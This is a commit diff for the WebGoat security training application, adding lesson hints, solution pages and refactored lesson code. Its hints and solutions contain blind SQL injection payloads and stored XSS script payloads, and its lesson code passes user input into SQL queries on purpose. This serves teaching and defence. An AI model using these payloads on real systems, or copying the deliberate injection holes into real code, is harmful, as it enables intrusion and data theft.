* Hints added
* Solutions added * Bugfixes * Introduction added (including how to start with webgoat and useful tools) * New lesson: Password strength * New lessons: Multi Level Login * Not yet working new lesson: Session fixation (inital release) git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@301 4033779f-a91e-0410-96ef-6bf7bf53c507
@ -528,6 +528,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
|
||||
|
||||
try
|
||||
{
|
||||
System.out.println("Solution: " + getLessonSolutionFileName());
|
||||
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
|
||||
} catch (IOException e)
|
||||
{
|
||||
|
@ -78,6 +78,45 @@ public class BackDoors extends SequentialLessonAdapter
|
||||
{
|
||||
return concept2(s);
|
||||
}
|
||||
|
||||
private void addDBEntriesToEC(ElementContainer ec, ResultSet rs)
|
||||
{
|
||||
try {
|
||||
if (rs.next())
|
||||
{
|
||||
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TH("User ID"));
|
||||
tr.addElement(new TH("Password"));
|
||||
tr.addElement(new TH("SSN"));
|
||||
tr.addElement(new TH("Salary"));
|
||||
tr.addElement(new TH("E-Mail"));
|
||||
t.addElement(tr);
|
||||
|
||||
tr = new TR();
|
||||
tr.addElement(new TD(rs.getString("userid")));
|
||||
tr.addElement(new TD(rs.getString("password")));
|
||||
tr.addElement(new TD(rs.getString("ssn")));
|
||||
tr.addElement(new TD(rs.getString("salary")));
|
||||
tr.addElement(new TD(rs.getString("email")));
|
||||
t.addElement(tr);
|
||||
while (rs.next())
|
||||
{
|
||||
tr = new TR();
|
||||
tr.addElement(new TD(rs.getString("userid")));
|
||||
tr.addElement(new TD(rs.getString("password")));
|
||||
tr.addElement(new TD(rs.getString("ssn")));
|
||||
tr.addElement(new TD(rs.getString("salary")));
|
||||
tr.addElement(new TD(rs.getString("email")));
|
||||
t.addElement(tr);
|
||||
}
|
||||
ec.addElement(t);
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
protected Element concept1(WebSession s) throws Exception
|
||||
{
|
||||
@ -105,28 +144,8 @@ public class BackDoors extends SequentialLessonAdapter
|
||||
}
|
||||
|
||||
ResultSet rs = statement.executeQuery(arrSQL[0]);
|
||||
if (rs.next())
|
||||
{
|
||||
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TH("User ID"));
|
||||
tr.addElement(new TH("Password"));
|
||||
tr.addElement(new TH("SSN"));
|
||||
tr.addElement(new TH("Salary"));
|
||||
tr.addElement(new TH("E-Mail"));
|
||||
t.addElement(tr);
|
||||
while (rs.next())
|
||||
{
|
||||
tr = new TR();
|
||||
tr.addElement(new TD(rs.getString("userid")));
|
||||
tr.addElement(new TD(rs.getString("password")));
|
||||
tr.addElement(new TD(rs.getString("ssn")));
|
||||
tr.addElement(new TD(rs.getString("salary")));
|
||||
tr.addElement(new TD(rs.getString("email")));
|
||||
t.addElement(tr);
|
||||
}
|
||||
ec.addElement(t);
|
||||
}
|
||||
addDBEntriesToEC(ec, rs);
|
||||
|
||||
}
|
||||
} catch (Exception ex)
|
||||
{
|
||||
@ -144,14 +163,22 @@ public class BackDoors extends SequentialLessonAdapter
|
||||
|
||||
if (!userInput.equals(""))
|
||||
{
|
||||
userInput = SELECT_ST + userInput;
|
||||
String[] arrSQL = userInput.split(";");
|
||||
Connection conn = DatabaseUtilities.getConnection(s);
|
||||
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
|
||||
if (arrSQL.length == 2)
|
||||
{
|
||||
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != 0)
|
||||
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1)
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
}
|
||||
ResultSet rs = statement.executeQuery(arrSQL[0]);
|
||||
addDBEntriesToEC(ec, rs);
|
||||
|
||||
|
||||
}
|
||||
return ec;
|
||||
|
@ -81,14 +81,7 @@ public class BlindSqlInjection extends LessonAdapter
|
||||
|
||||
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
|
||||
String answer_query;
|
||||
if (runningOnWindows())
|
||||
{
|
||||
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
|
||||
}
|
||||
else
|
||||
{
|
||||
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
|
||||
}
|
||||
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
|
||||
|
||||
try
|
||||
{
|
||||
@ -151,25 +144,6 @@ public class BlindSqlInjection extends LessonAdapter
|
||||
return new StringElement("By Chuck Willis");
|
||||
}
|
||||
|
||||
/**
|
||||
*
|
||||
* Determines the OS that WebGoat is running on. Needed because different DB backends are used
|
||||
* on the different OSes (Access on Windows, InstantDB on others)
|
||||
*
|
||||
* @return true if running on Windows, false otherwise
|
||||
*/
|
||||
private boolean runningOnWindows()
|
||||
{
|
||||
String os = System.getProperty("os.name", "Windows");
|
||||
if (os.toLowerCase().indexOf("window") != -1)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the DatabaseFieldScreen object
|
||||
@ -179,78 +153,35 @@ public class BlindSqlInjection extends LessonAdapter
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
if (runningOnWindows())
|
||||
{
|
||||
hints
|
||||
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
|
||||
+ "Create a SQL statement that you can use as a true/false test and then "
|
||||
+ "select the first character of the target element and do a start narrowing "
|
||||
+ "down the character using > and <"
|
||||
+ "<br><br>The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
|
||||
+ "on the Internet since different databases use some different functions and syntax.");
|
||||
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
|
||||
+ "Create a SQL statement that you can use as a true/false test and then "
|
||||
+ "select the first character of the target element and do a start narrowing "
|
||||
+ "down the character using > and <"
|
||||
+ "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions "
|
||||
+ "on the Internet since different databases use some different functions and syntax.");
|
||||
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
|
||||
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
|
||||
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
|
||||
+ "You will need to make use of the following SQL functions: "
|
||||
+ "<br><br>SELECT - query for your target data and get a string "
|
||||
+ "<br><br>mid(string, start, length) - returns a "
|
||||
+ "<br><br>substr(string, start, length) - returns a "
|
||||
+ "substring of string starting at the start character and going for length characters "
|
||||
+ "<br><br>asc(string) will return the ascii value of the first character in string "
|
||||
+ "<br><br>ascii(string) will return the ascii value of the first character in string "
|
||||
+ "<br><br>> and < - once you have a character's value, compare it to a choosen one");
|
||||
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
|
||||
+ " less than 'M' (ascii 77)? "
|
||||
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
|
||||
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
|
||||
+ ") , 1 , 1) ) < 77 ); "
|
||||
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
|
||||
+ "invalid then answer is no.");
|
||||
hints
|
||||
.add("Another example: is the second character of the first_name of userid "
|
||||
+ TARGET_ACCT_NUM
|
||||
+ " greater than 'm' (ascii 109)? "
|
||||
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
|
||||
+ TARGET_ACCT_NUM
|
||||
+ ") , 2 , 1) ) > 109 ); "
|
||||
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
|
||||
+ "invalid then answer is no.");
|
||||
}
|
||||
else
|
||||
{
|
||||
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
|
||||
+ "Create a SQL statement that you can use as a true/false test and then "
|
||||
+ "select the first character of the target element and do a start narrowing "
|
||||
+ "down the character using > and <");
|
||||
|
||||
hints
|
||||
.add("The database backend is InstantDB. Here is a reference guide : <a href=\"http://www.instantdb.com/doc/syntax.html\" target=\"_blank\">http://www.instantdb.com/doc/syntax.html</a>");
|
||||
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
|
||||
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
|
||||
hints
|
||||
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>The application is taking your input and inserting it at the end of a pre-formed SQL command. "
|
||||
+ "You will need to make use of the following SQL functions: "
|
||||
+ "<br><br>SELECT - query for your target data and get a string "
|
||||
+ "<br><br>mid(string, start, length) - returns a "
|
||||
+ "substring of string starting at the start character and going for length characters "
|
||||
+ "<br><br>asc(string) will return the ascii value of the first character in string "
|
||||
+ "<br><br>> and < - once you have a character's value, compare it to a choosen one");
|
||||
hints
|
||||
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>Example: is the first character of the first_name of userid "
|
||||
+ TARGET_ACCT_NUM
|
||||
+ " less than 'M' (ascii 77)? "
|
||||
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
|
||||
+ TARGET_ACCT_NUM
|
||||
+ ") , 1 , 1) ) < 77 ); "
|
||||
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
|
||||
+ "invalid then answer is no.");
|
||||
hints
|
||||
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br> example: is the second character of the first_name of userid "
|
||||
+ TARGET_ACCT_NUM
|
||||
+ " greater than 'm' (ascii 109)? "
|
||||
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
|
||||
+ TARGET_ACCT_NUM
|
||||
+ ") , 2 , 1) ) > 109 ); "
|
||||
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
|
||||
+ "invalid then answer is no.");
|
||||
}
|
||||
hints.add("Another example: is the second character of the first_name of userid "
|
||||
+ TARGET_ACCT_NUM
|
||||
+ " greater than 'm' (ascii 109)? "
|
||||
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid="
|
||||
+ TARGET_ACCT_NUM
|
||||
+ ") , 2 , 1) ) > 109 ); "
|
||||
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
|
||||
+ "invalid then answer is no.");
|
||||
return hints;
|
||||
}
|
||||
|
||||
|
@ -39,6 +39,8 @@ import java.util.List;
|
||||
public class Category implements Comparable
|
||||
{
|
||||
|
||||
public final static Category INTRODUCTION = new Category("Introduction", new Integer(5));
|
||||
|
||||
public final static Category UNVALIDATED_PARAMETERS = new Category("Unvalidated Parameters", new Integer(110));
|
||||
|
||||
public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(210));
|
||||
@ -83,6 +85,7 @@ public class Category implements Comparable
|
||||
|
||||
static
|
||||
{
|
||||
categories.add(INTRODUCTION);
|
||||
categories.add(UNVALIDATED_PARAMETERS);
|
||||
categories.add(ACCESS_CONTROL);
|
||||
categories.add(AUTHENTICATION);
|
||||
|
@ -95,6 +95,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter
|
||||
|
||||
t.setID("hiddenEmployeeRecords");
|
||||
t.setStyle("display: none");
|
||||
|
||||
|
||||
|
||||
workspaceDiv.addElement(t);
|
||||
|
||||
@ -328,28 +330,28 @@ public class ClientSideFiltering extends SequentialLessonAdapter
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
hints
|
||||
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
|
||||
.add("Stage 1: The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
|
||||
|
||||
hints.add("Use Firebug to find where the information is stored on the client side.");
|
||||
hints.add("Stage 1: Use Firebug to find where the information is stored on the client side.");
|
||||
|
||||
hints.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
|
||||
hints.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
|
||||
|
||||
hints.add("Look in the last row of the hidden table.");
|
||||
hints.add("Stage 1: Look in the last row of the hidden table.");
|
||||
|
||||
hints
|
||||
.add("You can access the server directly <a href = \"/WebGoat/lessons/Ajax/clientSideFiltering.jsp?userId=102\">here </a>"
|
||||
.add("Stage 1: You can access the server directly <a href = \"/WebGoat/lessons/Ajax/clientSideFiltering.jsp?userId=102\">here </a>"
|
||||
+ "to see what results are being returned");
|
||||
|
||||
hints.add("The server uses an XPath query agasinst an XML database.");
|
||||
hints.add("Stage 2: The server uses an XPath query agasinst an XML database.");
|
||||
|
||||
hints.add("The query currently returns all of the contents of the database.");
|
||||
hints.add("Stage 2: The query currently returns all of the contents of the database.");
|
||||
|
||||
hints
|
||||
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
|
||||
.add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
|
||||
|
||||
hints.add("Try using a filter operator.");
|
||||
hints.add("Stage 2: Try using a filter operator.");
|
||||
|
||||
hints.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
|
||||
hints.add("Stage 2: Your filter operator should look something like: [Managers/Manager/text()=");
|
||||
|
||||
return hints;
|
||||
|
||||
@ -361,7 +363,7 @@ public class ClientSideFiltering extends SequentialLessonAdapter
|
||||
|
||||
if (getLessonTracker(s).getStage() == 1)
|
||||
{
|
||||
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
|
||||
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
|
||||
+ "You have access to everyone in the company's information, except the CEO, "
|
||||
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
|
||||
+ " For this exercise, "
|
||||
|
@ -0,0 +1,10 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Insert title here</title>
|
||||
</head>
|
||||
<body>
|
||||
stub stage 6
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,46 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Block Stored XSS</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
|
||||
XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
|
||||
</p>
|
||||
|
||||
<p><b>Solution:</b><br/>
|
||||
You have to alter the method parseEmployeeProfile in the class UpdateProfile.java which is
|
||||
placed in the package org.owasp.webgoat.lessons.CrossSiteScripting<br/>
|
||||
The place to Code is marked! Following Code will work:<br/>
|
||||
</p>
|
||||
<p>
|
||||
<code>
|
||||
/**Your code**/<br/>
|
||||
String regex = "[\\s\\w-,]*";<br/>
|
||||
String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+<br/>startDate+ccn+disciplinaryActionDate+<br/>disciplinaryActionNotes+personalDescription;<br/>
|
||||
Pattern pattern = Pattern.compile(regex);<br/>
|
||||
validate(stringToValidate, pattern);<br/>
|
||||
/**End of your code**/
|
||||
</code>
|
||||
</p>
|
||||
<p>
|
||||
This Validation allows following:<br>
|
||||
\s = whitspace: \t\n\x0B\f\r<br>
|
||||
\w = word: a-zA-Z_0-9<br>
|
||||
and the characters - and ,
|
||||
</p>
|
||||
<p>
|
||||
Use of any other Character will throw a Validation Exception.
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,26 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Block Stored XSS</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
|
||||
XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
|
||||
</p>
|
||||
|
||||
<p><b>Solution:</b><br/>
|
||||
You have to use a static method called encode(String s) which is part of the class org.owasp.webgoat.util.HtmlEncoder;
|
||||
<p>This method changes all special characters in the string. Now you have to use this method in the getEmployeeProfile method in the org.owasp.webgoat.lessons.CrossSiteScripting class.
|
||||
Replace all answer_results.getString(someString) with HtmlEncoder.encode(answer_results.getString(someString)) and you are done.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,11 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Insert title here</title>
|
||||
</head>
|
||||
<body>
|
||||
stub stage5
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,27 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Block Stored XSS</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
|
||||
XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
|
||||
</p>
|
||||
|
||||
<p><b>Solution:</b><br/>
|
||||
Log in as David with david as password. Choose Bruce from the List and click
|
||||
on the 'ViewProfile' Button.
|
||||
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,31 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Block Stored XSS</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
|
||||
XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
|
||||
</p>
|
||||
|
||||
<p><b>Solution:</b><br/>
|
||||
First Login as Tom with tom as password. Select Tom from the list and click on the View Profile Button.
|
||||
Now should appear Tom's Profile. Click on the 'Edit Profile' Button and try an XSS attack on the street filed.<br/>
|
||||
For example: <script>alert("Got Ya");</script><br/>
|
||||
Click on the UpdateProfile Button and Log out.</p><p>
|
||||
Now log in as Jerry with jerry as password. Select from the the list the profile of tom and hit the
|
||||
ViewProfile Button. Congratulation! You have completed the lesson.
|
||||
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -585,7 +585,7 @@ public class ConcurrencyCart extends LessonAdapter
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Can you purchase the merchandise in your shopping cart for a lower price?");
|
||||
hints.add("Try using a new browser window to get a lower price.");
|
||||
hints.add("In window A, purchase a low cost item, in window B a high cost item.");
|
||||
hints.add("In window A, purchase a low cost item. In window B, update the card with a high cost item.");
|
||||
hints.add("In window A, commit after updating cart in window B.");
|
||||
|
||||
return hints;
|
||||
|
@ -1,9 +1,17 @@
|
||||
|
||||
package org.owasp.webgoat.lessons.CrossSiteScripting;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.Body;
|
||||
import org.apache.ecs.html.Head;
|
||||
import org.apache.ecs.html.Html;
|
||||
import org.apache.ecs.html.Title;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
|
||||
@ -90,7 +98,32 @@ public class CrossSiteScripting extends GoatHillsFinancial
|
||||
{
|
||||
return Category.XSS;
|
||||
}
|
||||
|
||||
|
||||
public String getLessonSolutionFileName(WebSession s) {
|
||||
String solutionFileName = null;
|
||||
String stage = getStage(s);
|
||||
solutionFileName = "/lesson_solutions/Lab XSS/Lab " + stage + ".html";
|
||||
return solutionFileName;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSolution(WebSession s) {
|
||||
String src = null;
|
||||
|
||||
try
|
||||
{
|
||||
System.out.println("Solution: " + getLessonSolutionFileName(s));
|
||||
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false);
|
||||
} catch (IOException e)
|
||||
{
|
||||
s.setMessage("Could not find the solution file");
|
||||
src = ("Could not find the solution file");
|
||||
}
|
||||
|
||||
return src;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the DirectoryScreen object
|
||||
*
|
||||
@ -101,29 +134,27 @@ public class CrossSiteScripting extends GoatHillsFinancial
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
// Stage 1
|
||||
hints.add("You can put HTML tags in form input fields.");
|
||||
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
|
||||
hints.add("Stage1: You can put HTML tags in form input fields.");
|
||||
hints.add("Stage1: Bury a SCRIPT tag in the field to attack anyone who reads it.");
|
||||
hints
|
||||
.add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
|
||||
hints.add("Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
|
||||
.add("Stage1: Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
|
||||
hints.add("Stage1: Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
|
||||
|
||||
// Stage 2
|
||||
hints.add("Many scripts rely on the use of special characters such as: <");
|
||||
hints.add("Stage2: Many scripts rely on the use of special characters such as: <");
|
||||
hints
|
||||
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
|
||||
hints.add("The java.util.regex package is useful for filtering string values.");
|
||||
.add("Stage2: Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
|
||||
hints.add("Stage2: The java.util.regex package is useful for filtering string values.");
|
||||
|
||||
// Stage 3
|
||||
hints
|
||||
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
|
||||
hints.add("An HTML entity encoder is provided in the ParameterParser class.");
|
||||
|
||||
|
||||
// Stage 4
|
||||
hints.add("Examine content served in response to form submissions looking for data taken from the form.");
|
||||
|
||||
hints.add("Stage4: Examine content served in response to form submissions looking for data taken from the form.");
|
||||
hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util");
|
||||
// Stage 5
|
||||
hints
|
||||
.add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
|
||||
.add("Stage5: Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
|
||||
|
||||
return hints;
|
||||
}
|
||||
@ -144,11 +175,12 @@ public class CrossSiteScripting extends GoatHillsFinancial
|
||||
{
|
||||
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
|
||||
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
|
||||
+ "Verify that 'Jerry' is affected by the attack.";
|
||||
+ "Verify that 'Jerry' is affected by the attack. <br/>The passwords for the accounts are the prenames.";
|
||||
}
|
||||
else if (STAGE2.equals(stage))
|
||||
{
|
||||
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
|
||||
instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>" +
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "Implement a fix to block the stored XSS before it can be written to the database. "
|
||||
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
|
||||
}
|
||||
@ -160,7 +192,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
|
||||
}
|
||||
else if (STAGE4.equals(stage))
|
||||
{
|
||||
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br>"
|
||||
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>" +
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "Implement a fix to block XSS after it is read from the database. "
|
||||
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
|
||||
}
|
||||
@ -172,7 +205,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
|
||||
}
|
||||
else if (STAGE6.equals(stage))
|
||||
{
|
||||
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br>"
|
||||
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>" +
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "Implement a fix to block this reflected XSS attack. "
|
||||
+ "Repeat step 5. Verify that the attack URL is no longer effective.";
|
||||
}
|
||||
|
@ -17,6 +17,7 @@ import org.owasp.webgoat.session.UnauthenticatedException;
|
||||
import org.owasp.webgoat.session.UnauthorizedException;
|
||||
import org.owasp.webgoat.session.ValidationException;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.util.HtmlEncoder;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
@ -128,6 +129,7 @@ public class FindProfile extends DefaultLessonAction
|
||||
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
|
||||
ValidationException
|
||||
{
|
||||
|
||||
return s.getParser().getRawParameter(name);
|
||||
}
|
||||
|
||||
|
@ -111,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction
|
||||
{
|
||||
// The input validation can be added using a parsing component
|
||||
// or by using an inline regular expression. The parsing component
|
||||
// is the better solution.
|
||||
|
||||
// is the better solution.
|
||||
|
||||
